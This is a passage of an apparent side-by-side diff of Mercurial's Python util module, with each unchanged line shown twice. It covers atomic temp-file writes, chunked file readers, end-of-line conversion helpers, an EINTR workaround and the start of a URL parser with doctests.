2423 # if a process doesn't have appropriate privileges
2424 return False
2424 return False
2425 raise
2425 raise
2426 return True
2426 return True
2427
2427
2428 def __ne__(self, other):
2428 def __ne__(self, other):
2429 return not self == other
2429 return not self == other
2430
2430
2431
2431
2432 class atomictempfile(object):
2432 class atomictempfile(object):
2433 '''writable file object that atomically updates a file
2433 '''writable file object that atomically updates a file
2434
2434
2435 All writes will go to a temporary copy of the original file. Call
2435 All writes will go to a temporary copy of the original file. Call
2436 close() when you are done writing, and atomictempfile will rename
2436 close() when you are done writing, and atomictempfile will rename
2437 the temporary copy to the original name, making the changes
2437 the temporary copy to the original name, making the changes
2438 visible. If the object is destroyed without being closed, all your
2438 visible. If the object is destroyed without being closed, all your
2439 writes are discarded.
2439 writes are discarded.
2440
2440
2441 checkambig argument of constructor is used with filestat, and is
2441 checkambig argument of constructor is used with filestat, and is
2442 useful only if target file is guarded by any lock (e.g. repo.lock
2442 useful only if target file is guarded by any lock (e.g. repo.lock
2443 or repo.wlock).
2443 or repo.wlock).
2444 '''
2444 '''
2445
2445
2446 def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
2446 def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
2447 self.__name = name # permanent name
2447 self.__name = name # permanent name
2448 self._tempname = mktempcopy(
2448 self._tempname = mktempcopy(
2449 name,
2449 name,
2450 emptyok=(b'w' in mode),
2450 emptyok=(b'w' in mode),
2451 createmode=createmode,
2451 createmode=createmode,
2452 enforcewritable=(b'w' in mode),
2452 enforcewritable=(b'w' in mode),
2453 )
2453 )
2454
2454
2455 self._fp = posixfile(self._tempname, mode)
2455 self._fp = posixfile(self._tempname, mode)
2456 self._checkambig = checkambig
2456 self._checkambig = checkambig
2457
2457
2458 # delegated methods
2458 # delegated methods
2459 self.read = self._fp.read
2459 self.read = self._fp.read
2460 self.write = self._fp.write
2460 self.write = self._fp.write
2461 self.seek = self._fp.seek
2461 self.seek = self._fp.seek
2462 self.tell = self._fp.tell
2462 self.tell = self._fp.tell
2463 self.fileno = self._fp.fileno
2463 self.fileno = self._fp.fileno
2464
2464
2465 def close(self):
2465 def close(self):
2466 if not self._fp.closed:
2466 if not self._fp.closed:
2467 self._fp.close()
2467 self._fp.close()
2468 filename = localpath(self.__name)
2468 filename = localpath(self.__name)
2469 oldstat = self._checkambig and filestat.frompath(filename)
2469 oldstat = self._checkambig and filestat.frompath(filename)
2470 if oldstat and oldstat.stat:
2470 if oldstat and oldstat.stat:
2471 rename(self._tempname, filename)
2471 rename(self._tempname, filename)
2472 newstat = filestat.frompath(filename)
2472 newstat = filestat.frompath(filename)
2473 if newstat.isambig(oldstat):
2473 if newstat.isambig(oldstat):
2474 # stat of changed file is ambiguous to original one
2474 # stat of changed file is ambiguous to original one
2475 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2475 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2476 os.utime(filename, (advanced, advanced))
2476 os.utime(filename, (advanced, advanced))
2477 else:
2477 else:
2478 rename(self._tempname, filename)
2478 rename(self._tempname, filename)
2479
2479
2480 def discard(self):
2480 def discard(self):
2481 if not self._fp.closed:
2481 if not self._fp.closed:
2482 try:
2482 try:
2483 os.unlink(self._tempname)
2483 os.unlink(self._tempname)
2484 except OSError:
2484 except OSError:
2485 pass
2485 pass
2486 self._fp.close()
2486 self._fp.close()
2487
2487
2488 def __del__(self):
2488 def __del__(self):
2489 if safehasattr(self, '_fp'): # constructor actually did something
2489 if safehasattr(self, '_fp'): # constructor actually did something
2490 self.discard()
2490 self.discard()
2491
2491
2492 def __enter__(self):
2492 def __enter__(self):
2493 return self
2493 return self
2494
2494
2495 def __exit__(self, exctype, excvalue, traceback):
2495 def __exit__(self, exctype, excvalue, traceback):
2496 if exctype is not None:
2496 if exctype is not None:
2497 self.discard()
2497 self.discard()
2498 else:
2498 else:
2499 self.close()
2499 self.close()
2500
2500
2501
2501
2502 def unlinkpath(f, ignoremissing=False, rmdir=True):
2502 def unlinkpath(f, ignoremissing=False, rmdir=True):
2503 """unlink and remove the directory if it is empty"""
2503 """unlink and remove the directory if it is empty"""
2504 if ignoremissing:
2504 if ignoremissing:
2505 tryunlink(f)
2505 tryunlink(f)
2506 else:
2506 else:
2507 unlink(f)
2507 unlink(f)
2508 if rmdir:
2508 if rmdir:
2509 # try removing directories that might now be empty
2509 # try removing directories that might now be empty
2510 try:
2510 try:
2511 removedirs(os.path.dirname(f))
2511 removedirs(os.path.dirname(f))
2512 except OSError:
2512 except OSError:
2513 pass
2513 pass
2514
2514
2515
2515
2516 def tryunlink(f):
2516 def tryunlink(f):
2517 """Attempt to remove a file, ignoring ENOENT errors."""
2517 """Attempt to remove a file, ignoring ENOENT errors."""
2518 try:
2518 try:
2519 unlink(f)
2519 unlink(f)
2520 except OSError as e:
2520 except OSError as e:
2521 if e.errno != errno.ENOENT:
2521 if e.errno != errno.ENOENT:
2522 raise
2522 raise
2523
2523
2524
2524
2525 def makedirs(name, mode=None, notindexed=False):
2525 def makedirs(name, mode=None, notindexed=False):
2526 """recursive directory creation with parent mode inheritance
2526 """recursive directory creation with parent mode inheritance
2527
2527
2528 Newly created directories are marked as "not to be indexed by
2528 Newly created directories are marked as "not to be indexed by
2529 the content indexing service", if ``notindexed`` is specified
2529 the content indexing service", if ``notindexed`` is specified
2530 for "write" mode access.
2530 for "write" mode access.
2531 """
2531 """
2532 try:
2532 try:
2533 makedir(name, notindexed)
2533 makedir(name, notindexed)
2534 except OSError as err:
2534 except OSError as err:
2535 if err.errno == errno.EEXIST:
2535 if err.errno == errno.EEXIST:
2536 return
2536 return
2537 if err.errno != errno.ENOENT or not name:
2537 if err.errno != errno.ENOENT or not name:
2538 raise
2538 raise
2539 parent = os.path.dirname(os.path.abspath(name))
2539 parent = os.path.dirname(os.path.abspath(name))
2540 if parent == name:
2540 if parent == name:
2541 raise
2541 raise
2542 makedirs(parent, mode, notindexed)
2542 makedirs(parent, mode, notindexed)
2543 try:
2543 try:
2544 makedir(name, notindexed)
2544 makedir(name, notindexed)
2545 except OSError as err:
2545 except OSError as err:
2546 # Catch EEXIST to handle races
2546 # Catch EEXIST to handle races
2547 if err.errno == errno.EEXIST:
2547 if err.errno == errno.EEXIST:
2548 return
2548 return
2549 raise
2549 raise
2550 if mode is not None:
2550 if mode is not None:
2551 os.chmod(name, mode)
2551 os.chmod(name, mode)
2552
2552
2553
2553
2554 def readfile(path):
2554 def readfile(path):
2555 with open(path, b'rb') as fp:
2555 with open(path, b'rb') as fp:
2556 return fp.read()
2556 return fp.read()
2557
2557
2558
2558
2559 def writefile(path, text):
2559 def writefile(path, text):
2560 with open(path, b'wb') as fp:
2560 with open(path, b'wb') as fp:
2561 fp.write(text)
2561 fp.write(text)
2562
2562
2563
2563
2564 def appendfile(path, text):
2564 def appendfile(path, text):
2565 with open(path, b'ab') as fp:
2565 with open(path, b'ab') as fp:
2566 fp.write(text)
2566 fp.write(text)
2567
2567
2568
2568
2569 class chunkbuffer(object):
2569 class chunkbuffer(object):
2570 """Allow arbitrary sized chunks of data to be efficiently read from an
2570 """Allow arbitrary sized chunks of data to be efficiently read from an
2571 iterator over chunks of arbitrary size."""
2571 iterator over chunks of arbitrary size."""
2572
2572
2573 def __init__(self, in_iter):
2573 def __init__(self, in_iter):
2574 """in_iter is the iterator that's iterating over the input chunks."""
2574 """in_iter is the iterator that's iterating over the input chunks."""
2575
2575
2576 def splitbig(chunks):
2576 def splitbig(chunks):
2577 for chunk in chunks:
2577 for chunk in chunks:
2578 if len(chunk) > 2 ** 20:
2578 if len(chunk) > 2 ** 20:
2579 pos = 0
2579 pos = 0
2580 while pos < len(chunk):
2580 while pos < len(chunk):
2581 end = pos + 2 ** 18
2581 end = pos + 2 ** 18
2582 yield chunk[pos:end]
2582 yield chunk[pos:end]
2583 pos = end
2583 pos = end
2584 else:
2584 else:
2585 yield chunk
2585 yield chunk
2586
2586
2587 self.iter = splitbig(in_iter)
2587 self.iter = splitbig(in_iter)
2588 self._queue = collections.deque()
2588 self._queue = collections.deque()
2589 self._chunkoffset = 0
2589 self._chunkoffset = 0
2590
2590
2591 def read(self, l=None):
2591 def read(self, l=None):
2592 """Read L bytes of data from the iterator of chunks of data.
2592 """Read L bytes of data from the iterator of chunks of data.
2593 Returns less than L bytes if the iterator runs dry.
2593 Returns less than L bytes if the iterator runs dry.
2594
2594
2595 If size parameter is omitted, read everything"""
2595 If size parameter is omitted, read everything"""
2596 if l is None:
2596 if l is None:
2597 return b''.join(self.iter)
2597 return b''.join(self.iter)
2598
2598
2599 left = l
2599 left = l
2600 buf = []
2600 buf = []
2601 queue = self._queue
2601 queue = self._queue
2602 while left > 0:
2602 while left > 0:
2603 # refill the queue
2603 # refill the queue
2604 if not queue:
2604 if not queue:
2605 target = 2 ** 18
2605 target = 2 ** 18
2606 for chunk in self.iter:
2606 for chunk in self.iter:
2607 queue.append(chunk)
2607 queue.append(chunk)
2608 target -= len(chunk)
2608 target -= len(chunk)
2609 if target <= 0:
2609 if target <= 0:
2610 break
2610 break
2611 if not queue:
2611 if not queue:
2612 break
2612 break
2613
2613
2614 # The easy way to do this would be to queue.popleft(), modify the
2614 # The easy way to do this would be to queue.popleft(), modify the
2615 # chunk (if necessary), then queue.appendleft(). However, for cases
2615 # chunk (if necessary), then queue.appendleft(). However, for cases
2616 # where we read partial chunk content, this incurs 2 dequeue
2616 # where we read partial chunk content, this incurs 2 dequeue
2617 # mutations and creates a new str for the remaining chunk in the
2617 # mutations and creates a new str for the remaining chunk in the
2618 # queue. Our code below avoids this overhead.
2618 # queue. Our code below avoids this overhead.
2619
2619
2620 chunk = queue[0]
2620 chunk = queue[0]
2621 chunkl = len(chunk)
2621 chunkl = len(chunk)
2622 offset = self._chunkoffset
2622 offset = self._chunkoffset
2623
2623
2624 # Use full chunk.
2624 # Use full chunk.
2625 if offset == 0 and left >= chunkl:
2625 if offset == 0 and left >= chunkl:
2626 left -= chunkl
2626 left -= chunkl
2627 queue.popleft()
2627 queue.popleft()
2628 buf.append(chunk)
2628 buf.append(chunk)
2629 # self._chunkoffset remains at 0.
2629 # self._chunkoffset remains at 0.
2630 continue
2630 continue
2631
2631
2632 chunkremaining = chunkl - offset
2632 chunkremaining = chunkl - offset
2633
2633
2634 # Use all of unconsumed part of chunk.
2634 # Use all of unconsumed part of chunk.
2635 if left >= chunkremaining:
2635 if left >= chunkremaining:
2636 left -= chunkremaining
2636 left -= chunkremaining
2637 queue.popleft()
2637 queue.popleft()
2638 # offset == 0 is enabled by block above, so this won't merely
2638 # offset == 0 is enabled by block above, so this won't merely
2639 # copy via ``chunk[0:]``.
2639 # copy via ``chunk[0:]``.
2640 buf.append(chunk[offset:])
2640 buf.append(chunk[offset:])
2641 self._chunkoffset = 0
2641 self._chunkoffset = 0
2642
2642
2643 # Partial chunk needed.
2643 # Partial chunk needed.
2644 else:
2644 else:
2645 buf.append(chunk[offset : offset + left])
2645 buf.append(chunk[offset : offset + left])
2646 self._chunkoffset += left
2646 self._chunkoffset += left
2647 left -= chunkremaining
2647 left -= chunkremaining
2648
2648
2649 return b''.join(buf)
2649 return b''.join(buf)
2650
2650
2651
2651
2652 def filechunkiter(f, size=131072, limit=None):
2652 def filechunkiter(f, size=131072, limit=None):
2653 """Create a generator that produces the data in the file size
2653 """Create a generator that produces the data in the file size
2654 (default 131072) bytes at a time, up to optional limit (default is
2654 (default 131072) bytes at a time, up to optional limit (default is
2655 to read all data). Chunks may be less than size bytes if the
2655 to read all data). Chunks may be less than size bytes if the
2656 chunk is the last chunk in the file, or the file is a socket or
2656 chunk is the last chunk in the file, or the file is a socket or
2657 some other type of file that sometimes reads less data than is
2657 some other type of file that sometimes reads less data than is
2658 requested."""
2658 requested."""
2659 assert size >= 0
2659 assert size >= 0
2660 assert limit is None or limit >= 0
2660 assert limit is None or limit >= 0
2661 while True:
2661 while True:
2662 if limit is None:
2662 if limit is None:
2663 nbytes = size
2663 nbytes = size
2664 else:
2664 else:
2665 nbytes = min(limit, size)
2665 nbytes = min(limit, size)
2666 s = nbytes and f.read(nbytes)
2666 s = nbytes and f.read(nbytes)
2667 if not s:
2667 if not s:
2668 break
2668 break
2669 if limit:
2669 if limit:
2670 limit -= len(s)
2670 limit -= len(s)
2671 yield s
2671 yield s
2672
2672
2673
2673
2674 class cappedreader(object):
2674 class cappedreader(object):
2675 """A file object proxy that allows reading up to N bytes.
2675 """A file object proxy that allows reading up to N bytes.
2676
2676
2677 Given a source file object, instances of this type allow reading up to
2677 Given a source file object, instances of this type allow reading up to
2678 N bytes from that source file object. Attempts to read past the allowed
2678 N bytes from that source file object. Attempts to read past the allowed
2679 limit are treated as EOF.
2679 limit are treated as EOF.
2680
2680
2681 It is assumed that I/O is not performed on the original file object
2681 It is assumed that I/O is not performed on the original file object
2682 in addition to I/O that is performed by this instance. If there is,
2682 in addition to I/O that is performed by this instance. If there is,
2683 state tracking will get out of sync and unexpected results will ensue.
2683 state tracking will get out of sync and unexpected results will ensue.
2684 """
2684 """
2685
2685
2686 def __init__(self, fh, limit):
2686 def __init__(self, fh, limit):
2687 """Allow reading up to <limit> bytes from <fh>."""
2687 """Allow reading up to <limit> bytes from <fh>."""
2688 self._fh = fh
2688 self._fh = fh
2689 self._left = limit
2689 self._left = limit
2690
2690
2691 def read(self, n=-1):
2691 def read(self, n=-1):
2692 if not self._left:
2692 if not self._left:
2693 return b''
2693 return b''
2694
2694
2695 if n < 0:
2695 if n < 0:
2696 n = self._left
2696 n = self._left
2697
2697
2698 data = self._fh.read(min(n, self._left))
2698 data = self._fh.read(min(n, self._left))
2699 self._left -= len(data)
2699 self._left -= len(data)
2700 assert self._left >= 0
2700 assert self._left >= 0
2701
2701
2702 return data
2702 return data
2703
2703
2704 def readinto(self, b):
2704 def readinto(self, b):
2705 res = self.read(len(b))
2705 res = self.read(len(b))
2706 if res is None:
2706 if res is None:
2707 return None
2707 return None
2708
2708
2709 b[0 : len(res)] = res
2709 b[0 : len(res)] = res
2710 return len(res)
2710 return len(res)
2711
2711
2712
2712
2713 def unitcountfn(*unittable):
2713 def unitcountfn(*unittable):
2714 '''return a function that renders a readable count of some quantity'''
2714 '''return a function that renders a readable count of some quantity'''
2715
2715
2716 def go(count):
2716 def go(count):
2717 for multiplier, divisor, format in unittable:
2717 for multiplier, divisor, format in unittable:
2718 if abs(count) >= divisor * multiplier:
2718 if abs(count) >= divisor * multiplier:
2719 return format % (count / float(divisor))
2719 return format % (count / float(divisor))
2720 return unittable[-1][2] % count
2720 return unittable[-1][2] % count
2721
2721
2722 return go
2722 return go
2723
2723
2724
2724
2725 def processlinerange(fromline, toline):
2725 def processlinerange(fromline, toline):
2726 """Check that linerange <fromline>:<toline> makes sense and return a
2726 """Check that linerange <fromline>:<toline> makes sense and return a
2727 0-based range.
2727 0-based range.
2728
2728
2729 >>> processlinerange(10, 20)
2729 >>> processlinerange(10, 20)
2730 (9, 20)
2730 (9, 20)
2731 >>> processlinerange(2, 1)
2731 >>> processlinerange(2, 1)
2732 Traceback (most recent call last):
2732 Traceback (most recent call last):
2733 ...
2733 ...
2734 ParseError: line range must be positive
2734 ParseError: line range must be positive
2735 >>> processlinerange(0, 5)
2735 >>> processlinerange(0, 5)
2736 Traceback (most recent call last):
2736 Traceback (most recent call last):
2737 ...
2737 ...
2738 ParseError: fromline must be strictly positive
2738 ParseError: fromline must be strictly positive
2739 """
2739 """
2740 if toline - fromline < 0:
2740 if toline - fromline < 0:
2741 raise error.ParseError(_(b"line range must be positive"))
2741 raise error.ParseError(_(b"line range must be positive"))
2742 if fromline < 1:
2742 if fromline < 1:
2743 raise error.ParseError(_(b"fromline must be strictly positive"))
2743 raise error.ParseError(_(b"fromline must be strictly positive"))
2744 return fromline - 1, toline
2744 return fromline - 1, toline
2745
2745
2746
2746
2747 bytecount = unitcountfn(
2747 bytecount = unitcountfn(
2748 (100, 1 << 30, _(b'%.0f GB')),
2748 (100, 1 << 30, _(b'%.0f GB')),
2749 (10, 1 << 30, _(b'%.1f GB')),
2749 (10, 1 << 30, _(b'%.1f GB')),
2750 (1, 1 << 30, _(b'%.2f GB')),
2750 (1, 1 << 30, _(b'%.2f GB')),
2751 (100, 1 << 20, _(b'%.0f MB')),
2751 (100, 1 << 20, _(b'%.0f MB')),
2752 (10, 1 << 20, _(b'%.1f MB')),
2752 (10, 1 << 20, _(b'%.1f MB')),
2753 (1, 1 << 20, _(b'%.2f MB')),
2753 (1, 1 << 20, _(b'%.2f MB')),
2754 (100, 1 << 10, _(b'%.0f KB')),
2754 (100, 1 << 10, _(b'%.0f KB')),
2755 (10, 1 << 10, _(b'%.1f KB')),
2755 (10, 1 << 10, _(b'%.1f KB')),
2756 (1, 1 << 10, _(b'%.2f KB')),
2756 (1, 1 << 10, _(b'%.2f KB')),
2757 (1, 1, _(b'%.0f bytes')),
2757 (1, 1, _(b'%.0f bytes')),
2758 )
2758 )
2759
2759
2760
2760
2761 class transformingwriter(object):
2761 class transformingwriter(object):
2762 """Writable file wrapper to transform data by function"""
2762 """Writable file wrapper to transform data by function"""
2763
2763
2764 def __init__(self, fp, encode):
2764 def __init__(self, fp, encode):
2765 self._fp = fp
2765 self._fp = fp
2766 self._encode = encode
2766 self._encode = encode
2767
2767
2768 def close(self):
2768 def close(self):
2769 self._fp.close()
2769 self._fp.close()
2770
2770
2771 def flush(self):
2771 def flush(self):
2772 self._fp.flush()
2772 self._fp.flush()
2773
2773
2774 def write(self, data):
2774 def write(self, data):
2775 return self._fp.write(self._encode(data))
2775 return self._fp.write(self._encode(data))
2776
2776
2777
2777
2778 # Matches a single EOL which can either be a CRLF where repeated CR
2778 # Matches a single EOL which can either be a CRLF where repeated CR
2779 # are removed or a LF. We do not care about old Macintosh files, so a
2779 # are removed or a LF. We do not care about old Macintosh files, so a
2780 # stray CR is an error.
2780 # stray CR is an error.
2781 _eolre = remod.compile(br'\r*\n')
2781 _eolre = remod.compile(br'\r*\n')
2782
2782
2783
2783
2784 def tolf(s):
2784 def tolf(s):
2785 return _eolre.sub(b'\n', s)
2785 return _eolre.sub(b'\n', s)
2786
2786
2787
2787
2788 def tocrlf(s):
2788 def tocrlf(s):
2789 return _eolre.sub(b'\r\n', s)
2789 return _eolre.sub(b'\r\n', s)
2790
2790
2791
2791
2792 def _crlfwriter(fp):
2792 def _crlfwriter(fp):
2793 return transformingwriter(fp, tocrlf)
2793 return transformingwriter(fp, tocrlf)
2794
2794
2795
2795
2796 if pycompat.oslinesep == b'\r\n':
2796 if pycompat.oslinesep == b'\r\n':
2797 tonativeeol = tocrlf
2797 tonativeeol = tocrlf
2798 fromnativeeol = tolf
2798 fromnativeeol = tolf
2799 nativeeolwriter = _crlfwriter
2799 nativeeolwriter = _crlfwriter
2800 else:
2800 else:
2801 tonativeeol = pycompat.identity
2801 tonativeeol = pycompat.identity
2802 fromnativeeol = pycompat.identity
2802 fromnativeeol = pycompat.identity
2803 nativeeolwriter = pycompat.identity
2803 nativeeolwriter = pycompat.identity
2804
2804
2805 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
2805 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
2806 3,
2806 3,
2807 0,
2807 0,
2808 ):
2808 ):
2809 # There is an issue in CPython that some IO methods do not handle EINTR
2809 # There is an issue in CPython that some IO methods do not handle EINTR
2810 # correctly. The following table shows what CPython version (and functions)
2810 # correctly. The following table shows what CPython version (and functions)
2811 # are affected (buggy: has the EINTR bug, okay: otherwise):
2811 # are affected (buggy: has the EINTR bug, okay: otherwise):
2812 #
2812 #
2813 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2813 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2814 # --------------------------------------------------
2814 # --------------------------------------------------
2815 # fp.__iter__ | buggy | buggy | okay
2815 # fp.__iter__ | buggy | buggy | okay
2816 # fp.read* | buggy | okay [1] | okay
2816 # fp.read* | buggy | okay [1] | okay
2817 #
2817 #
2818 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2818 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2819 #
2819 #
2820 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2820 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2821 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2821 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2822 #
2822 #
2823 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2823 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2824 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2824 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2825 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2825 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2826 # fp.__iter__ but not other fp.read* methods.
2826 # fp.__iter__ but not other fp.read* methods.
2827 #
2827 #
2828 # On modern systems like Linux, the "read" syscall cannot be interrupted
2828 # On modern systems like Linux, the "read" syscall cannot be interrupted
2829 # when reading "fast" files like on-disk files. So the EINTR issue only
2829 # when reading "fast" files like on-disk files. So the EINTR issue only
2830 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2830 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2831 # files approximately as "fast" files and use the fast (unsafe) code path,
2831 # files approximately as "fast" files and use the fast (unsafe) code path,
2832 # to minimize the performance impact.
2832 # to minimize the performance impact.
2833 if sys.version_info >= (2, 7, 4):
2833 if sys.version_info >= (2, 7, 4):
2834 # fp.readline deals with EINTR correctly, use it as a workaround.
2834 # fp.readline deals with EINTR correctly, use it as a workaround.
2835 def _safeiterfile(fp):
2835 def _safeiterfile(fp):
2836 return iter(fp.readline, b'')
2836 return iter(fp.readline, b'')
2837
2837
2838 else:
2838 else:
2839 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2839 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2840 # note: this may block longer than necessary because of bufsize.
2840 # note: this may block longer than necessary because of bufsize.
2841 def _safeiterfile(fp, bufsize=4096):
2841 def _safeiterfile(fp, bufsize=4096):
2842 fd = fp.fileno()
2842 fd = fp.fileno()
2843 line = b''
2843 line = b''
2844 while True:
2844 while True:
2845 try:
2845 try:
2846 buf = os.read(fd, bufsize)
2846 buf = os.read(fd, bufsize)
2847 except OSError as ex:
2847 except OSError as ex:
2848 # os.read only raises EINTR before any data is read
2848 # os.read only raises EINTR before any data is read
2849 if ex.errno == errno.EINTR:
2849 if ex.errno == errno.EINTR:
2850 continue
2850 continue
2851 else:
2851 else:
2852 raise
2852 raise
2853 line += buf
2853 line += buf
2854 if b'\n' in buf:
2854 if b'\n' in buf:
2855 splitted = line.splitlines(True)
2855 splitted = line.splitlines(True)
2856 line = b''
2856 line = b''
2857 for l in splitted:
2857 for l in splitted:
2858 if l[-1] == b'\n':
2858 if l[-1] == b'\n':
2859 yield l
2859 yield l
2860 else:
2860 else:
2861 line = l
2861 line = l
2862 if not buf:
2862 if not buf:
2863 break
2863 break
2864 if line:
2864 if line:
2865 yield line
2865 yield line
2866
2866
2867 def iterfile(fp):
2867 def iterfile(fp):
2868 fastpath = True
2868 fastpath = True
2869 if type(fp) is file:
2869 if type(fp) is file:
2870 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2870 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2871 if fastpath:
2871 if fastpath:
2872 return fp
2872 return fp
2873 else:
2873 else:
2874 return _safeiterfile(fp)
2874 return _safeiterfile(fp)
2875
2875
2876
2876
2877 else:
2877 else:
2878 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2878 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2879 def iterfile(fp):
2879 def iterfile(fp):
2880 return fp
2880 return fp
2881
2881
2882
2882
2883 def iterlines(iterator):
2883 def iterlines(iterator):
2884 for chunk in iterator:
2884 for chunk in iterator:
2885 for line in chunk.splitlines():
2885 for line in chunk.splitlines():
2886 yield line
2886 yield line
2887
2887
2888
2888
2889 def expandpath(path):
2889 def expandpath(path):
2890 return os.path.expanduser(os.path.expandvars(path))
2890 return os.path.expanduser(os.path.expandvars(path))
2891
2891
2892
2892
2893 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2893 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2894 """Return the result of interpolating items in the mapping into string s.
2894 """Return the result of interpolating items in the mapping into string s.
2895
2895
2896 prefix is a single character string, or a two character string with
2896 prefix is a single character string, or a two character string with
2897 a backslash as the first character if the prefix needs to be escaped in
2897 a backslash as the first character if the prefix needs to be escaped in
2898 a regular expression.
2898 a regular expression.
2899
2899
2900 fn is an optional function that will be applied to the replacement text
2900 fn is an optional function that will be applied to the replacement text
2901 just before replacement.
2901 just before replacement.
2902
2902
2903 escape_prefix is an optional flag that allows using doubled prefix for
2903 escape_prefix is an optional flag that allows using doubled prefix for
2904 its escaping.
2904 its escaping.
2905 """
2905 """
2906 fn = fn or (lambda s: s)
2906 fn = fn or (lambda s: s)
2907 patterns = b'|'.join(mapping.keys())
2907 patterns = b'|'.join(mapping.keys())
2908 if escape_prefix:
2908 if escape_prefix:
2909 patterns += b'|' + prefix
2909 patterns += b'|' + prefix
2910 if len(prefix) > 1:
2910 if len(prefix) > 1:
2911 prefix_char = prefix[1:]
2911 prefix_char = prefix[1:]
2912 else:
2912 else:
2913 prefix_char = prefix
2913 prefix_char = prefix
2914 mapping[prefix_char] = prefix_char
2914 mapping[prefix_char] = prefix_char
2915 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2915 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2916 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2916 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2917
2917
2918
2918
2919 def getport(port):
2919 def getport(port):
2920 """Return the port for a given network service.
2920 """Return the port for a given network service.
2921
2921
2922 If port is an integer, it's returned as is. If it's a string, it's
2922 If port is an integer, it's returned as is. If it's a string, it's
2923 looked up using socket.getservbyname(). If there's no matching
2923 looked up using socket.getservbyname(). If there's no matching
2924 service, error.Abort is raised.
2924 service, error.Abort is raised.
2925 """
2925 """
2926 try:
2926 try:
2927 return int(port)
2927 return int(port)
2928 except ValueError:
2928 except ValueError:
2929 pass
2929 pass
2930
2930
2931 try:
2931 try:
2932 return socket.getservbyname(pycompat.sysstr(port))
2932 return socket.getservbyname(pycompat.sysstr(port))
2933 except socket.error:
2933 except socket.error:
2934 raise error.Abort(
2934 raise error.Abort(
2935 _(b"no port number associated with service '%s'") % port
2935 _(b"no port number associated with service '%s'") % port
2936 )
2936 )
2937
2937
2938
2938
2939 class url(object):
2939 class url(object):
2940 r"""Reliable URL parser.
2940 r"""Reliable URL parser.
2941
2941
2942 This parses URLs and provides attributes for the following
2942 This parses URLs and provides attributes for the following
2943 components:
2943 components:
2944
2944
2945 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2945 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2946
2946
2947 Missing components are set to None. The only exception is
2947 Missing components are set to None. The only exception is
2948 fragment, which is set to '' if present but empty.
2948 fragment, which is set to '' if present but empty.
2949
2949
2950 If parsefragment is False, fragment is included in query. If
2950 If parsefragment is False, fragment is included in query. If
2951 parsequery is False, query is included in path. If both are
2951 parsequery is False, query is included in path. If both are
2952 False, both fragment and query are included in path.
2952 False, both fragment and query are included in path.
2953
2953
2954 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2954 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2955
2955
2956 Note that for backward compatibility reasons, bundle URLs do not
2956 Note that for backward compatibility reasons, bundle URLs do not
2957 take host names. That means 'bundle://../' has a path of '../'.
2957 take host names. That means 'bundle://../' has a path of '../'.
2958
2958
2959 Examples:
2959 Examples:
2960
2960
2961 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2961 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2962 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2962 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2963 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2963 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2964 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2964 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2965 >>> url(b'file:///home/joe/repo')
2965 >>> url(b'file:///home/joe/repo')
2966 <url scheme: 'file', path: '/home/joe/repo'>
2966 <url scheme: 'file', path: '/home/joe/repo'>
2967 >>> url(b'file:///c:/temp/foo/')
2967 >>> url(b'file:///c:/temp/foo/')
2968 <url scheme: 'file', path: 'c:/temp/foo/'>
2968 <url scheme: 'file', path: 'c:/temp/foo/'>
2969 >>> url(b'bundle:foo')
2969 >>> url(b'bundle:foo')
2970 <url scheme: 'bundle', path: 'foo'>
2970 <url scheme: 'bundle', path: 'foo'>
2971 >>> url(b'bundle://../foo')
2971 >>> url(b'bundle://../foo')
2972 <url scheme: 'bundle', path: '../foo'>
2972 <url scheme: 'bundle', path: '../foo'>
2973 >>> url(br'c:\foo\bar')
2973 >>> url(br'c:\foo\bar')
2974 <url path: 'c:\\foo\\bar'>
2974 <url path: 'c:\\foo\\bar'>
2975 >>> url(br'\\blah\blah\blah')
2975 >>> url(br'\\blah\blah\blah')
2976 <url path: '\\\\blah\\blah\\blah'>
2976 <url path: '\\\\blah\\blah\\blah'>
